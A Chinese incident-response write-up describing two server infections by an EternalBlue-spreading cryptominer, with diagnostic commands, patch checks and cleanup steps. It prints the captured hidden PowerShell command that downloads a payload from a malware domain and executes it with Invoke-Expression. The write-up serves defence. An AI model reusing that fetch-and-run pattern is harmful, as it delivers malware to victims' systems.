0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
会员中心
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

PowerShell运行的是什么脚本

jf_Fo0qk3ln 来源:菜鸟学信安 作者:菜鸟学信安 2022-11-01 08:55 次阅读
加入交流群
微信小助手二维码

扫码添加小助手

加入工程师交流群

案例一

在公司这几天收到 CSO 发来不少火绒告警讯息,通过查看信息发现是攻击 445 端口,这一看很可能是永恒之蓝呀。

2d5e71e0-597f-11ed-a3b6-dac502259ad0.png

通过对这台机器端口扫描结果发现对方也开了 445。

135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
1688/tcp  open  nsjtp-data
3389/tcp  open  ms-wbt-server
5200/tcp  open  targus-getdata
49152/tcp open  unknown
49153/tcp open  unknown
49155/tcp open  unknown
49197/tcp open  unknown
49350/tcp open  unknown
49438/tcp open  unknown
57084/tcp open  unknown
65529/tcp open  unknown
65530/tcp open  unknown
65533/tcp open  unknown

问负责人要了密码登录进去,随手看了下任务管理器,资源占用还挺高,任务栏程序窗口也没有,超奇怪的唉。

2d792760-597f-11ed-a3b6-dac502259ad0.png

那我想怎么能查得到这个 PowerShell 运行的是什么脚本呀,通过 google 找到一条语句,可查询 powershell.exe 命令行参数。

wmic process where caption="powershell.exe" get caption,commandline /value

得到异常参数。

Caption=powershell.exe
CommandLine=powershell  -nop -w hidden -ep bypass -c "$ifp=$env:tmp+'if.bin';if(test-path $ifp){$con=[System.IO.File]::ReadAllBytes($ifp);[System.Security.Cryptography.MD5]::Create().ComputeHash($con)|foreach{$s+=$_.ToString('X2')};if($s-ne'676e657e578e22cb7a9138d6979c46c1'){$con=''}}if(!$con){$con=(New-Object Net.WebClient).downloaddata('http://down.ackng.com/if.bin?ID=WIN-G4SEL2FMI8M&GUID=DC503C42-A0A0-EBD7-0982-249C228D246A&MAC=005632:54&OS=6.3.9600&BIT=64 位&USER=MSSQLSERVER&DOMAIN=WORKGROUP&D=&CD=Microsoft 基本显示适配器&P=0&FI=0&FM=0&IF=0&MF=0&HR=&UP=1586108.812&_T=1572307138.34506');[System.IO.File]::WriteAllBytes($ifp,$con)}IEX(-join[char[]]$con)"

一搜其中down.ackng.com域名得知是挖矿病毒。

2d86762c-597f-11ed-a3b6-dac502259ad0.png

手动格式化并查了一堆资料后写下注释。

powershell-nop -w hidden -ep bypass 
-c "    $ifp=$env:tmp+'if.bin'; # 获取当前用户tmp目录下if.bin文件信息
        if(test-path $ifp){ # 用test-path判断if.bin文件是否存在            $con=[System.IO.File]::ReadAllBytes($ifp); # 将if.bin文件作为字节读入内存,不过这里是放入变量
            [System.Security.Cryptography.MD5]::Create().ComputeHash($con)|foreach{$s+=$_.ToString('X2')}; # 计算已经加载到内存中if.bin文件的md5校验和,将内容转换为十六进制存入变量s
            if($s-ne'676e657e578e22cb7a9138d6979c46c1'){$con=''} # 看校验和是否一至,不是就将$con清空(看看是不是自家挖矿文件)。
        }
        if(!$con){ # 如果$con没被篡改(或不存在)继续往下走            $con=(New-Object Net.WebClient).downloaddata('http://down.ackng.com/if.bin?ID=WIN-G4SEL2FMI8M&GUID=DC503C42-A0A0-EBD7-0982-249C228D246A&MAC=005632:54&OS=6.3.9600&BIT=64 位&USER=MSSQLSERVER&DOMAIN=WORKGROUP&D=&CD=Microsoft 基本显示适配器&P=0&FI=0&FM=0&IF=0&MF=0&HR=&UP=1586108.812&_T=1572307138.34506');
            [System.IO.File]::WriteAllBytes($ifp,$con)
            # 创建一个对象,使用这个对象下载,将下载的内容存入$con变量,随后将$con的内容写入$ifp路径。
        }
        IEX(-join[char[]]$con) # IEX=Invoke-Expression,用来执行$con恶意内容,搞不懂为啥要转换数组再join连接-join[char[]]
"

根据脚本$env:tmp查看目录中发现if.bin和m6.bin。

2dbf4786-597f-11ed-a3b6-dac502259ad0.png

从秦萧公众号一篇应急响应文章得知判断方法,要想断定病毒或木马文件可以查看详细信息是否为空,正常文件都会带有信息。这 tips 在整理这篇总结时才发现,遂记录于此。

netstat -ano查看网络连接和Wireshark抓包都没异常连接,火绒也没正常启用(显示驱动版本不匹配)。

查询系统补丁,服务器系统是 2012R2, MS17-010的 kb4012213 和 kb4012216 补丁都没打,永恒之蓝实锤了。

systeminfo | findstr /I "kb4012213"
systeminfo | findstr /I "kb4012216"

2dd0835c-597f-11ed-a3b6-dac502259ad0.png

按基操查继续看任务计划、安全日志、系统日志、服务这几个方面。

任务计划发现命令方式都是随机字母,执行参数和前面混淆过的代码差不多。

2de09fe4-597f-11ed-a3b6-dac502259ad0.png

2deeb354-597f-11ed-a3b6-dac502259ad0.png

日志和服务忘记录了,不过一般会有大量登录失败的痕迹,我也见过直接把日志清空的情况....

脚本执行思路

分析 if.bin 文件,得知脚本会扫描整个内网 B 段和 C 段,采用 MS17-010 入侵和 3389 爆破等手段进入机器,采用无文件方式运行(甚至 360 开着都无法检测出这个进程出现问题),并使用任务计划等手段在服务器上持久化。

修复策略

删除异常任务计划

删除后门文件

结束PowerShell进程

开启Windows防火墙,并在入站规则禁止 445。

下载AD并全盘查杀

打补丁

案例二

又收到一条阿里云告警信息。

2e035b9c-597f-11ed-a3b6-dac502259ad0.png

进程信息

2e0d5908-597f-11ed-a3b6-dac502259ad0.png

2e184aac-597f-11ed-a3b6-dac502259ad0.png

2e2b64f2-597f-11ed-a3b6-dac502259ad0.png

网络连接

大量连接远程主机445端口,很有可能是被当作肉鸡去攻击别人机器。

2e5a0bf4-597f-11ed-a3b6-dac502259ad0.png
2e655db0-597f-11ed-a3b6-dac502259ad0.png

补丁信息

未打 MS17-010 补丁。

systeminfo | find "4012215"
systeminfo | find "4012212"
主机名:           xx-xx
OS 名称:          Microsoft Windows Server 2008 R2 Standard 
OS 版本:          6.1.7601 Service Pack 1 Build 7601
OS 制造商:        Microsoft Corporation
OS 配置:          独立服务器
OS 构件类型:      Multiprocessor Free
注册的所有人:     Windows 用户
注册的组织:       
产品 ID:          00477-001-0000421-84376
初始安装日期:     2013/6/27, 1743
系统启动时间:     2019/11/15, 2250
系统制造商:       Alibaba Cloud
系统型号:         Alibaba Cloud ECS
系统类型:         x64-based PC
处理器:           安装了 1 个处理器。
                  [01]: Intel64 Family 6 Model 85 Stepping 4 GenuineIntel ~2500 Mhz
BIOS 版本:        SeaBIOS 3288b3c, 2014/4/1
Windows 目录:     C:windows
系统目录:         C:windowssystem32
启动设备:         DeviceHarddiskVolume1
系统区域设置:     zh-cn;中文(中国)
输入法区域设置:   zh-cn;中文(中国)
时区:             (UTC+08:00)北京,重庆,香港特别行政区,乌鲁木齐
物理内存总量:     8,191 MB
可用的物理内存:   4,079 MB
虚拟内存: 最大值: 16,381 MB
虚拟内存: 可用:   7,580 MB
虚拟内存: 使用中: 8,801 MB
页面文件位置:     D:pagefile.sys
域:               WORKGROUP
登录服务器:       \xx-xx
修补程序:         安装了 185 个修补程序。
                  [01]: KB981391
                  [02]: KB981392
                  [03]: KB977236
                  [04]: KB981111
                  [05]: KB977238
                  [06]: KB2849697
                  [07]: KB2849696
                  [08]: KB2841134
                  [09]: KB2841134
                  [10]: KB977239
                  [11]: KB2670838
                  [12]: KB2592687
                  [13]: KB981390
                  [14]: KB2386667
                  [15]: KB2425227
                  [16]: KB2506014
                  [17]: KB2506212
                  [18]: KB2506928
                  [19]: KB2509553
                  [20]: KB2511455
                  [21]: KB2515325
                  [22]: KB2529073
                  [23]: KB2533552
                  [24]: KB2536275
                  [25]: KB2536276
                  [26]: KB2541014
                  [27]: KB2544893
                  [28]: KB2545698
                  [29]: KB2547666
                  [30]: KB2552343
                  [31]: KB2560656
                  [32]: KB2563227
                  [33]: KB2564958
                  [34]: KB2570947
                  [35]: KB2574819
                  [36]: KB2584146
                  [37]: KB2585542
                  [38]: KB2603229
                  [39]: KB2604115
                  [40]: KB2607047
                  [41]: KB2608658
                  [42]: KB2618451
                  [43]: KB2620704
                  [44]: KB2621440
                  [45]: KB2631813
                  [46]: KB2636573
                  [47]: KB2640148
                  [48]: KB2643719
                  [49]: KB2644615
                  [50]: KB2645640
                  [51]: KB2647753
                  [52]: KB2653956
                  [53]: KB2654428
                  [54]: KB2655992
                  [55]: KB2656356
                  [56]: KB2658846
                  [57]: KB2659262
                  [58]: KB2660075
                  [59]: KB2667402
                  [60]: KB2676562
                  [61]: KB2685811
                  [62]: KB2685813
                  [63]: KB2685939
                  [64]: KB2690533
                  [65]: KB2691442
                  [66]: KB2698365
                  [67]: KB2699779
                  [68]: KB2705219
                  [69]: KB2706045
                  [70]: KB2709630
                  [71]: KB2709981
                  [72]: KB2712808
                  [73]: KB2718704
                  [74]: KB2719857
                  [75]: KB2726535
                  [76]: KB2729094
                  [77]: KB2729452
                  [78]: KB2732059
                  [79]: KB2742599
                  [80]: KB2743555
                  [81]: KB2749655
                  [82]: KB2750841
                  [83]: KB2753842
                  [84]: KB2757638
                  [85]: KB2758857
                  [86]: KB2761217
                  [87]: KB2763523
                  [88]: KB2765809
                  [89]: KB2770660
                  [90]: KB2779562
                  [91]: KB2785220
                  [92]: KB2786081
                  [93]: KB2786400
                  [94]: KB2789645
                  [95]: KB2790113
                  [96]: KB2791765
                  [97]: KB2798162
                  [98]: KB2800095
                  [99]: KB2804579
                  [100]: KB2807986
                  [101]: KB2808679
                  [102]: KB2813170
                  [103]: KB2813347
                  [104]: KB2813430
                  [105]: KB2820197
                  [106]: KB2820331
                  [107]: KB2829361
                  [108]: KB2830290
                  [109]: KB2834140
                  [110]: KB2835361
                  [111]: KB2836502
                  [112]: KB2836943
                  [113]: KB2838727
                  [114]: KB2839894
                  [115]: KB2840149
                  [116]: KB2843630
                  [117]: KB2845690
                  [118]: KB2847311
                  [119]: KB2852386
                  [120]: KB2853952
                  [121]: KB2862152
                  [122]: KB2862330
                  [123]: KB2862335
                  [124]: KB2862966
                  [125]: KB2862973
                  [126]: KB2864058
                  [127]: KB2864202
                  [128]: KB2868038
                  [129]: KB2868116
                  [130]: KB2868626
                  [131]: KB2871997
                  [132]: KB2872339
                  [133]: KB2882822
                  [134]: KB2884256
                  [135]: KB2887069
                  [136]: KB2888049
                  [137]: KB2891804
                  [138]: KB2892074
                  [139]: KB2893294
                  [140]: KB2893519
                  [141]: KB2908783
                  [142]: KB2912390
                  [143]: KB2913152
                  [144]: KB2918614
                  [145]: KB2919469
                  [146]: KB2922229
                  [147]: KB2926765
                  [148]: KB2928562
                  [149]: KB2929733
                  [150]: KB2929755
                  [151]: KB2939576
                  [152]: KB2957189
                  [153]: KB2957503
                  [154]: KB2957509
                  [155]: KB2961072
                  [156]: KB2961851
                  [157]: KB2966583
                  [158]: KB2970228
                  [159]: KB2973201
                  [160]: KB2973351
                  [161]: KB2976897
                  [162]: KB2977292
                  [163]: KB2977728
                  [164]: KB2978092
                  [165]: KB2978120
                  [166]: KB2978668
                  [167]: KB2980245
                  [168]: KB2984972
                  [169]: KB2984976
                  [170]: KB2985461
                  [171]: KB2991963
                  [172]: KB2992611
                  [173]: KB2993651
                  [174]: KB2993958
                  [175]: KB2998527
                  [176]: KB2999226
                  [177]: KB3002885
                  [178]: KB3003057
                  [179]: KB3003743
                  [180]: KB3005607
                  [181]: KB3006226
                  [182]: KB3008627
                  [183]: KB3010788
                  [184]: KB976902
                  [185]: KB982018
网卡:             安装了 3 个 NIC。
                  [01]: Microsoft Loopback Adapter
                      连接名:      loopback
                      启用 DHCP:   是
                      DHCP 服务器: 255.255.255.255
                      IP 地址
                        [01]: 169.254.114.140
                        [02]: fe80:78b9728c
                  [02]: Microsoft Loopback Adapter
                      连接名:      Npcap Loopback Adapter
                      启用 DHCP:   是
                      DHCP 服务器: 255.255.255.255
                      IP 地址
                        [01]: 169.254.219.140
                        [02]: fe80:a78edb8c
                  [03]: Red Hat VirtIO Ethernet Adapter
                      连接名:      本地连接 3
                      启用 DHCP:   否
                      IP 地址
                        [01]: 192.168.2.18
                        [02]: fe80:ef0f6468

日志信息

根据恶意程序创建时间来筛查,安全日志 11 月 22 日前均被删除。

2e987b14-597f-11ed-a3b6-dac502259ad0.png

通过查询服务创建时间和释放时间吻合。

2ea144a6-597f-11ed-a3b6-dac502259ad0.png

处理

通过火绒扫描删除恶意程序

防火墙入站规则禁止 445 连接本机。

PS:为什么文件没有被锁.....也许阿里云盾拦截操作了吧。

审核编辑:彭静
声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • 服务器
    +关注

    关注

    13

    文章

    10094

    浏览量

    90870
  • Shell
    +关注

    关注

    1

    文章

    373

    浏览量

    25168
  • 脚本
    +关注

    关注

    1

    文章

    407

    浏览量

    29051

原文标题:实战 | 记两次应急响应过程

文章出处:【微信号:菜鸟学信安,微信公众号:菜鸟学信安】欢迎添加关注!文章转载请注明出处。

收藏 人收藏
加入交流群
微信小助手二维码

扫码添加小助手

加入工程师交流群

    评论

    相关推荐
    热点推荐

    使用离线包安装IDF工具后,cmd窗口能正常运行脚本和编译,在启动powershell窗口时却提示错误,为什么?

    使用离线包安装IDF工具后,cmd窗口能正常运行脚本和编译,但在启动powershell窗口时却提示错误,如下: Windows PowerShell 版权所有 (C) 2009 Microsoft
    发表于 06-13 08:13

    Win10系统PowerShell命令汇总

    1、打开PowerShell环境 Windows 10 中已内置了 PowerShell 命令行环境,大家可以直接搜索「PowerShell」并以管理员身份运行。 或者在搜索栏中
    发表于 07-24 08:08

    Powershell模块TLS无法正常工作

    大家好...我在使用PowerShell与我的Intel AMT设备进行通信时遇到问题。它之前一直工作得很好,但现在我得到一个Schannel错误70(协议错误)我想这是因为Intel AMT不再
    发表于 10-24 15:18

    如何使用Microsoft Powershell访问英特尔AMT功能

    Gael Hofemeier演示了如何使用Microsoft * Powershell访问英特尔®AMT功能。
    的头像 发表于 10-30 07:09 3511次阅读

    怎样用Wamp服务器运行PHP脚本

    今天让我解释一下如何使用wamp服务器运行PHP文件。您可以使用此方法来运行您可能从某个地方获得的PHP脚本,并且几乎不需要或几乎不了解PHP。您可以通过输出为Web浏览器的Web服务器执行
    的头像 发表于 10-05 17:37 7506次阅读
    怎样用Wamp服务器<b class='flag-5'>运行</b>PHP<b class='flag-5'>脚本</b>

    微软PowerShell 7的5个变化

    上个月微软 PowerShell 7发布了第5个预览版,离最终正式版本又更进了一步。本文介绍一下PowerShell 7将带来的5大变化,主要是一些大方向上的特性。
    的头像 发表于 11-22 10:36 4316次阅读

    微软PowerShell 7.0 RC的主要功能,下个月正式版本发行

    PowerShell 7.0 发布了候选版本,正式版本预计于下个月发行。先来看看 PowerShell 7 中一些最主要的功能:
    的头像 发表于 12-18 10:03 3330次阅读

    全新PowerShell 7.0发布 支持多个平台

    从早期的MS-DOS到后来的Windows CMD再到如今的PowerShell,微软在终端工具方面不断精进,现在又发布了全新的PowerShell 7.0,开源跨平台,可在Windows、Linux、macOS各个平台上管理异构环境、混合云。
    的头像 发表于 03-06 10:41 1809次阅读

    微软发布PowerShell Crescendo预览版

    微软近期通过博客发布了 PowerShell Crescendo 预览版,这是一款本机命令的安装包,一款面向管理员和开发人员的新工具。 IT之家获悉,PowerShell Crescendo 通过
    的头像 发表于 12-14 14:48 1426次阅读

    如何防止脚本重复运行

    已知任何系统在相同的路径下,不可能出现两个相同的文件名,因此思路就是在脚本运行的开始, 获取自身的脚本文件名称和脚本所在路径,然后获取所有正在运行
    的头像 发表于 03-03 14:07 2234次阅读

    如何在Linux命令行中运行Python脚本

    Python 脚本。 在本文中,我们将详细介绍如何在 Linux 命令行中运行 Python 脚本。我们将讨论以下主题:
    的头像 发表于 05-12 14:49 2508次阅读

    ie浏览器限制运行脚本

    IE浏览器限制运行脚本是指在Internet Explorer浏览器中,存在一些限制和安全策略,以保护用户的电脑免受恶意脚本的攻击。这些限制有助于防止在浏览器中执行恶意代码,保护用户的隐私和电脑
    的头像 发表于 11-26 11:19 2244次阅读

    脚本错误scripterror怎么解决

    脚本错误”(Script Error)通常是在运行或尝试运行一段脚本或程序时出现的错误。这种错误可能源于许多不同的原因,包括语法错误、运行
    的头像 发表于 11-26 14:46 1.5w次阅读

    js脚本怎么在浏览器中运行

    在浏览器中运行JavaScript脚本是一种常见的方式,因为JavaScript是一种在Web浏览器中执行的脚本语言。下面是一个详细的,最少1500字的文章,介绍如何在浏览器中运行
    的头像 发表于 11-27 16:46 3719次阅读

    树莓派新手必看!在树莓派上编写和运行 Shell 脚本

    在本教程中,我将讨论Shell脚本的基础知识、它们的用途以及如何在RaspberryPi上编写和运行Shell脚本。什么是Shell脚本?Shell
    的头像 发表于 03-25 09:28 882次阅读
    树莓派新手必看!在树莓派上编写和<b class='flag-5'>运行</b> Shell <b class='flag-5'>脚本</b>!